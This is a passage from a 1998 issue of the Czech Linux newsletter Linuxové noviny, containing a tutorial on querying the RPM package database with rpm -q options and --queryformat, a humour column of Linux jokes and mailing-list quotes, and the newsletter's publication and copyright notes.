klad s BibTeXem – před aplikacı́ apropos nejprve otevřete
libovolný (třeba prázdný) .bib soubor.

Poučenı́ pro programátory v Elispu:

• Dbejte na vhodnou volbu jmen proměnných a funkcı́,
mějte na paměti situaci uživatele použı́vajı́cı́ho apro-
pos.

• Rozlišujte internı́ a uživatelské proměnné pomocı́
hvězdičky v dokumentačnı́m řetězci funkce defvar či
makra defcustom.

• Přečtěte si sekci „Documentation Tips“ v manuálu
Elispu. Budete pak schopni lépe dodržovat dokumen-
tačnı́ konvence, které usnadnı́ situaci uživateli, tj. to-
mu, pro koho dokumentaci pı́šete.

Přı́ště

V závěrečné části tohoto miniseriálu si řekneme, jak hle-
dat programy sloužı́cı́ k žádanému účelu, kde hledat dalšı́
pomoc a také malinko poradı́me vı́ajistům.

Zı́skávánı́ informacı́ z databáze RPM
Jan „Yenya“ Kasprzak, 10. února 1998

V předchozı́ch dı́lech našeho seriálu jsme viděli, že sys-
tém RPM udržuje množstvı́ informacı́ o nainstalovaných
balı́cı́ch i o jednotlivých souborech v nich. Tyto informace
pak použı́vá při dalšı́ práci s RPM balı́ky – při jejich insta-
laci, rušenı́ a povyšovánı́. Systém RPM ale také umı́ tyto
informace zpřı́stupnit uživateli pomocı́ několika druhů do-
tazů. A o dotazech na databázi RPM bude řeč v tomto dı́lu.

K čemu lze tyto dotazy použı́t?

Dotazovánı́ se provádı́ přı́kazem rpm -q. Uvedu zde několik
přı́kladů situacı́, které řešı́ dotaz do RPM databáze:

• Na vašem stroji je soubor /usr/include/pthread.h,
ale nevı́te, ze kterého balı́ku tento soubor pocházı́.

• Nedávno jste si nainstaloval Secure Shell a chcete
k němu najı́t nějakou dokumentaci.

• Zı́skáte software, o němž autor tvrdı́, že potřebuje
libc verze aspoň 5.4.30. Chcete zjistit, jaká je vlast-
ně verze libc na vašem systému.

• Narazili jste na sı́ti na RPM balı́k a chcete zjistit, co
obsahuje.

• Právě jste upgradovali systém na libc verze 6 a chce-
te zjistit, které balı́ky na vašem systému stále ještě
potřebujı́ staršı́ verzi libc 5.

Toto je ovšem jen několik přı́kladů. Nynı́ podrobně k jed-
notlivým částem dotazu. Dotaz se skládá ze dvou hlavnı́ch
částı́ – prvnı́ určuje množinu balı́ků, o nichž chcete infor-
mace zjistit, druhá řı́ká, jaké informace se o těchto balı́cı́ch

chcete dovědět.
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$ rpm -qpi soubor.rpm
Name : squid Distribution: (none)
Version : 1.NOVM.20 Vendor: (none)
Release : 3 Build Date: Sun Feb 1 00:
Install date: Sun Feb 1 09:19:37 1998 Build Host: gloin
Group : Networking/Daemons Source RPM: squid-1.NOVM.2
Size : 693576
Packager : Jan "Yenya" Kasprzak <kas@fi.muni.cz>
URL : http://squid.nlanr.net/
Summary : Squid Internet Object Cache
Description :
Squid is a caching proxy for www/ftp/gopher
Please read the documentation-Files!!

Výpis 15: Informace

Část prvnı́ – výběr balı́ků

• Dotaz můžete omezit na balı́k určitého jména. Takto
napřı́klad zjistı́te aktuálnı́ verzi nainstalovaného balı́-
ku:

$ rpm -q squid
squid-1.NOVM.20-3

$ rpm -q postgresql
package postgresql is not installed

Je vidět, že pokud specifikujeme jen část dotazu pro
výběr balı́ků, ale nikoli část specifikujı́cı́ požadované
informace, dostane se nám odpovědi ve formě jména
balı́ku, jeho verze a jeho release (oddělěno pomlčka-
mi) a nového řádku.

• Na druhé straně můžeme vypsat všechny balı́ky v sys-
tému. K tomu sloužı́ přepı́nač -a:

$ rpm -qa|sort
ElectricFence-2.0.5-5
MAKEDEV-2.3.1-1
...
zlib-devel-1.0.4-2

• Dále lze dotaz omezit na balı́ky, kterým patřı́ nějaký
soubor v systému pomocı́ přepı́nače -f soubor:

$ rpm -qf /etc/printcap
setup-1.9-2

Zde je nutno dát pozor na to, že RPM si v databá-
zi ukládá balı́ky s absolutnı́ cestou, a že tedy dotazy
mohou být zodpovězeny rozdı́lně, přestože se jedná
o tentýž soubor:

$ rpm -qf /etc/X11/xdm/Xaccess
XFree86-3.3.1-14
$ rpm -qf /usr/lib/X11/xdm/Xaccess
file /usr/lib/X11/xdm/Xaccess is not owned by any package

• Lze se také dotazovat na RPM soubor, který nemu-
sı́ být zatı́m nainstalovaný. Jak vı́me, v RPM soubo-
ru je přı́mo uložen jeho název, takže jej lze zjistit i po

přejmenovánı́:
50:11 1998

0-3.src.rpm

o RPM balı́ku

$ rpm -qp trubka
passwd-0.50-10

• Jak již bylo řečeno na začátku tohoto seriálu, jsou
RPM balı́ky sdružovány do tematických skupin.
Chceme-li si vypsat všechny aplikace, které se týka-
jı́ práce se zvukem, použijeme následujı́cı́ přı́kaz:

$ rpm -qg Applications/Sound
cdp-0.33-8
maplay-1.2-6
sox-11g-6
timidity-0.2i-2

• Někdy potřebujeme zjistit, který balı́k poskytuje urči-
tou vlastnost, kterou mohou jiné balı́ky vyžadovat –
napřı́klad chceme zjistit, který balı́k poskytuje libc
verze 6:

$ rpm -q --whatprovides libc.so.6
glibc-2.0.6-9

• Duálnı́m problémem k předchozı́mu je zjištěnı́ sezna-
mu balı́ků, které vyžadujı́ danou vlastnost – napřı́klad
v úvodu zmiňovaný dotaz na balı́ky, které ještě vyža-
dujı́ staršı́ verzi libc:

$ rpm -q --whatrequires libc.so.5
xpdf-0.7-2
snd-1-1
timidity-0.2i-2

Část druhá – výběr informacı́

V předchozı́ části jsme viděli, že implicitně se vypisuje jmé-
no balı́ku, jeho verze a release. Můžeme ale zjišt’ovat ta-
ké množstvı́ jiných informacı́. Nejprve si ukážeme některé
přepı́nače pro podrobnějšı́ výpis, a v závěru popı́šeme kon-
strukci jakkoli obecného výpisu informacı́.

• Přepı́načem -i zı́skáme výpis souhrnných informacı́
o daném balı́ku. Předpokládejme napřı́klad, že nám
někdo dal nějaký RPM soubor, a my o něm chceme
zjistit podrobnosti (viz výpis >Informace o RPM ba-
lı́ku).

Výpis obsahuje množstvı́ informacı́. Lze z něj napřı́-

klad zjistit, že někteřı́ lidé dokážı́ v neděli v jednu ho-
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dinu v noci vyrábět RPM balı́ky :–). Myslı́m, že vý-
še uvedený výpis nepotřebuje podrobnějšı́ komentář
k jednotlivým položkám.

• Přepı́nač -l – seznam souborů v balı́ku:

$ rpm -ql ncftp
/etc/X11/wmconfig/ncftp
/usr/bin/ncftp
/usr/man/man1/ncftp.1

• V předchozı́ části tohoto seriálu jsme viděli, že RPM
může dělat rozdı́ly mezi jednotlivými soubory v ba-
lı́ku. Rozeznává soubory běžné, konfiguračnı́ a do-
kumentaci. Přı́slušný typ souboru můžeme zjišt’ovat
– seznam konfiguračnı́ch souborů přes přepı́nač -c
a seznam dokumentace pomocı́ -d. Napřı́klad seznam
dokumentace k programu /bin/bash můžeme zı́skat
takto:

$ rpm -qdf /bin/bash
/usr/doc/bash-1.14.7
/usr/doc/bash-1.14.7/NEWS
/usr/doc/bash-1.14.7/README
/usr/doc/bash-1.14.7/RELEASE
/usr/info/bash.info.gz
/usr/man/man1/bash.1
/usr/man/man1/sh.1

Jak přepı́nač -l, tak přepı́nače -c a -d mohou o sou-
borech vypsat detailnı́ informace pomocı́ klı́če -v.

• Zı́skánı́ stavu jednotlivých souborů. Každý soubor da-
ného balı́ku může být v jednom ze čtyř stavů:

– normal: soubor je nainstalován v systému.

– replaced: soubor byl přepsán souborem z jiné-
ho RPM balı́ku použitı́m --replacefiles (resp.
--force).

– not installed: balı́k byl nainstalován, ale ten-
to soubor ne (napřı́klad při použitı́ parametru
--excludedocs).

– net shared: soubor se nacházı́ na svazku, který
byl v /etc/rpmrc označen jako sı́t’ový. Takovýto
soubor nenı́ spravován RPM databázı́ (resp. je
spravován RPM databázı́ na sı́t’ovém serveru).

Přı́slušný stav ke každému souboru lze zjistit pomocı́
přepı́nače -s.

• Informace o tom, jaké vlastnosti daný balı́k poskytuje
do systému. Balı́k napřı́klad může obsahovat sdı́lené
knihovny a podobně:

$ rpm -q --provides db
libdb.so.2

• Naopak můžeme zjistit informaci o tom, které vlast-
nosti (včetně verzı́) daný balı́k vyžaduje ke správnému
běhu:

$ rpm -q --requires glint
/usr/bin/python
/bin/sh
tkinter
pythonlib >= 1.12

python >= 1.4
• Lze vypsat i pre/post-install a pre/post-uninstall skrip-
ty, které k balı́ku patřı́. Dosáhneme toho volbou
--scripts.

Konstrukce obecných dotazů

Výše uvedené přı́klady popisovaly určité speciálnı́ typy do-
tazů. RPM ale umožňuje vypisovat odpovědi v úplně obec-
né formě. Nebudeme zde podávat vyčerpávajı́cı́ výpis, jen
v krátkosti a na několika přı́kladech vysvětlı́me logiku to-
hoto systému.

Základem obecného dotazu je volba --queryformat
řetězec. Tento řetězec je vypsán pro každý dotazovaný ba-
lı́k s tı́m, že některé zvláštnı́ konstrukce se nahradı́ přı́sluš-
nými informacemi o RPM balı́ku. Je to trochu podobné na-
hrazovánı́ řetězců s procenty v knihovnı́ funkci printf(3).
RPM podporuje substituci zpětného lomı́tka podobně ja-
ko printf(3), takže je napřı́klad možné psát následujı́cı́
konstrukce:

$ rpm -qa --queryformat ’Ahoj, babi!\n’

Tento přı́kaz vypı́še jmenovaný řetězec tolikrát, kolik je
v systému nainstalovaných balı́ků.

Pokračujme v přı́kladech. Následujı́cı́ přı́kaz ukazuje im-
plicitnı́ formát výpisu odpovědi a jeho výstup je stejný, jako
když část --queryformat neuvedeme:

$ rpm -q --queryformat ’%{NAME}-%{VERSION}-%{RELEASE}\n’ squid

Z přı́kladu je vidět, že RPM nahrazuje konstrukci
%fatributg obsahem daného atributu z databáze. Nebudu
zde rozebı́rat všechny dostupné atributy, jen uvedu, že po-
mocı́ následujı́cı́ho přı́kazu zı́skáme seznam všech atributů
platných v dané verzi RPM:

$ rpm --querytags |sort
ARCH
ARCHIVESIZE
...
VERSION
XPM

Některé atributy jsou v databázi ukládány ve formě čı́sla,
ale uživatel by mohl chtı́t toto čı́slo zobrazit nějak jinak.
Napřı́klad datum se ukládá jako počet sekund od 1. ledna
1970, ale textový výpis je čitelnějšı́. Výpisu v jiném formátu
dosáhneme napřı́klad takto:

$ rpm -q --queryformat ’%{INSTALLTIME:date}\n’ bash
Sat Jan 31 17:53:00 1998

Kromě formátovacı́ho řetězce :date pro výpis času exis-
tujı́ ještě tyto:

• :perms – výpis přı́stupových práv.

• :deflags – výpis závislostı́ mezi balı́ky.

• :fflags – konverze čı́sla na c, d nebo mezeru pod-
le toho, jestli jde o konfiguračnı́, dokumentačnı́ nebo
běžný soubor.

Dále lze jednotlivé položky zarovnávat a vypisovat na

určitý počet znaků podobně jako v printf(3):
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$ rpm -q --queryformat ’%4{RELEASE}\n’ squid
5

Některé položky v databázi lze vyhodnotit vı́cekrát pro
jeden balı́k (napřı́klad %fFILENAMESg – jména souborů v ba-
lı́ku). Můžeme proto chtı́t napřı́klad jeden řádek pro kaž-
dý soubor v balı́ku. Nebudu se pouštět do syntaktických
podrobnostı́, jen uvedu přı́klad:

$ rpm -q --queryformat ’%{NAME} obsahuje \
soubory:\n[%{FILENAMES} (%{FILESIZES} bytes)\n]’ bash
bash obsahuje soubory:
/bin/bash (301580 bytes)
/bin/sh (4 bytes)
...
/usr/man/man1/sh.1 (6 bytes)

To je k dotazům do RPM databáze všechno. Přı́ště se
budeme věnovat kontrole integrity balı́ků a dalšı́m vlast-
nostem.

Zasmáli jsme se!
Pavel Janı́k ml., 11. března 1998

Měsı́c březen (marec) je laděn spı́še pracovně, nenı́ čas
na zábavu. Je to škoda. Ale březen je měsı́c Internetu. A Li-
nux by bez Internetu nebyl tam, kde je, a proto se i v břez-
novém čı́sle zmı́nı́m o několika málo okamžicı́ch, které do-
kázaly na mé tváři vykouzlit úsměv.

Asi bych začal jednı́m otřesným zážitkem – instaloval
jsem na jeden poměrně starý počı́tač jeden operačnı́ sys-
tém jedné nejmenované společnosti. Ale to by ještě neby-
lo všechno. Na tentýž počı́tač jsem ještě musel nainstalo-
vat jeden nejmenovaný textový editor od stejné, ale opět
nejmenované společnosti. Asi na druhý nebo třetı́ pokus se
mi to podařilo. Možná si onen textový editor řekl, že mne
už dosti potrápil a proto mi ihned po prvnı́m spuštěnı́ chtěl
udělat radost a vypsal:

TIP: Vı́te, že ...
Při práci s nůžkami se můžete zranit.

Pokud nevěřı́te, zkuste si to taky – čı́selná označenı́
oněch produktů byla 3.1CZ a 6.0CZ. Bohužel nevı́m, co se
stalo po stisku tlačı́tka Dalšı́ , protože za 45 minut na tom
počı́tači byl nainstalován Red Hat Linux 5.0 a StarOffice. . .

Použı́váte sı́t’ové karty Intel EtherExpress Pro? Vı́te, že
je použı́vá i Linus Torvalds? A vı́te, jak se k intelovským
chipům vůbec stavı́ Alan Cox? Pokud ne, čtěte dále.

Remember the immortal quote ”Life is too short
to debug intel parts”. I think the EEPro is the
first intel ethernet card which weighs more than
its errata. All the intel cards go very fast, when
they go.

Pamatujte na nesmrtelné pravidlo: „Život je přı́liš
krátký na odlad’ovánı́ intelovských součástek.“
Myslı́m si, že EEPro je prvnı́ ethernetová karta
Intelu, která vážı́ vı́ce než jejı́ errata (seznam
chyb). Všechny intelovské karty běhajı́ velmi
rychle, pokud běhajı́.
Alan Cox v linux-kernel
Čtenáři listu linux@muni.cz byli jistě nemile potěšeni
threadem, který se skrýval pod subjectem „ADMIN: Stop
komerčnı́m mailům“. Thread měl celkem 18 zpráv (přibliž-
ně 40 kB) a jedinou zprávou, která měla (alespoň pro mne)
význam, byla zpráva Davida Rohledera. David byl obviněn
ze sektářstvı́, ale neztratil vtipného ducha a jeho odpověd’

si můžete přečı́st zde:

Mám vizi: Přede mnou Fakulta informatiky. Na
nejvyššı́m mı́stě se hrdě pne obrovská socha
Tučňáka. Zfanatizovanı́ obdivovatelé Linuxu
chytajı́ zmateně pobı́hajı́cı́ přı́znivce
Windows(TM), aby je krvavě obětovali na oltář
Nejvyššı́ho. Z hlubin davu se začı́ná ozývat:
„Yenya, Yenya.....“
David Rohleder v linux@muni.cz

Pánové, prosı́m rozmysleme si přı́ště, co, kam, kdy a ja-
kou formou posı́láme. Nenı́ to zbytečné takhle obtěžovat
492 lidı́?

A nakonec jsem si nechal jeden velice aktuálnı́ vtip. Dou-
fám, že v něm nikdo nebude hledat žádný skrytý význam
a všichni jej pochopı́ tak, jak jej autor myslel.

Vı́te, že se Microsoft soudı́ s Tamagotchi
o autorská práva?
........Gates tvrdı́, že prvnı́ systém, o který se musı́
člověk starat, aby nechcı́pnul, jsou Windows. . .
Petr Kubišta

Doufám, že se na vašı́ tváři alespoň na chvı́li také objevil
úsměv a že vše, co je napsáno v tomto článku, berete s hu-
morem.
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Linuxové noviny a jejich šı́řenı́
Linuxové noviny vydává České sdruženı́ uživatelů ope-

račnı́ho systému Linux pro své přı́znivce a sympatizanty.
Vlastnı́kem autorských práv k tomutu textu jako celku je
Pavel Janı́k ml.(1) Autorská práva k jednotlivým článkům
zůstávajı́ jejich autorům.

Tento text může být šı́řen a tisknut bez omezenı́. Po-
kud použijete část některého článku zde uveřejněného
v jiných dı́lech, musı́te uvést jméno autora a čı́slo, ve kte-
rém byl článek uveřejněn.

Linuxové noviny jsou otevřeny každému, kdo by
chtěl našim čtenářům sdělit něco zajı́mavého. Přı́spěvky
(ve formátu čistého textu v kódovánı́ ISO 8859-2 a obráz-
ky ve formátu PNG) posı́lejte na adresu (2). Autor nemá
nárok na finančnı́ odměnu a souhlası́ s podmı́nkami uve-
denými v tomto odstavci. Vydavatelé si vyhrazujı́ právo
rozhodnout, zda Váš přı́spěvek uveřejnı́, či nikoli.

Registrované známky použité v tomto textu jsou ma-
jetkem jejich vlastnı́ků.

Chtěl bych poděkovat Fakultě informatiky Masaryko-
vy university v Brně, INET, a.s., Juraji Bednárovi a spo-
lečnosti OptiCom za poskytnutı́ diskového prostoru pro
Linuxové noviny.

Linuxové noviny můžete najı́t na akademické sı́ti
CESNET (3), na sı́ti IBM Global Network na adrese (4),
na serveru časopisu Netáčik (5), který je připojen do slo-
venského SIXu, přı́padně na serveru společnosti Opti-
Com (6).

1 Pavel Janı́k ml.
mailto:Pavel.Janik@linux.cz

2 Adresa redakce
mailto:noviny@linux.cz
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4 Linuxové noviny na sı́ti IBM Global Network
ftp://ftp.inet.cz/pub/People/Pavel.Janik/noviny
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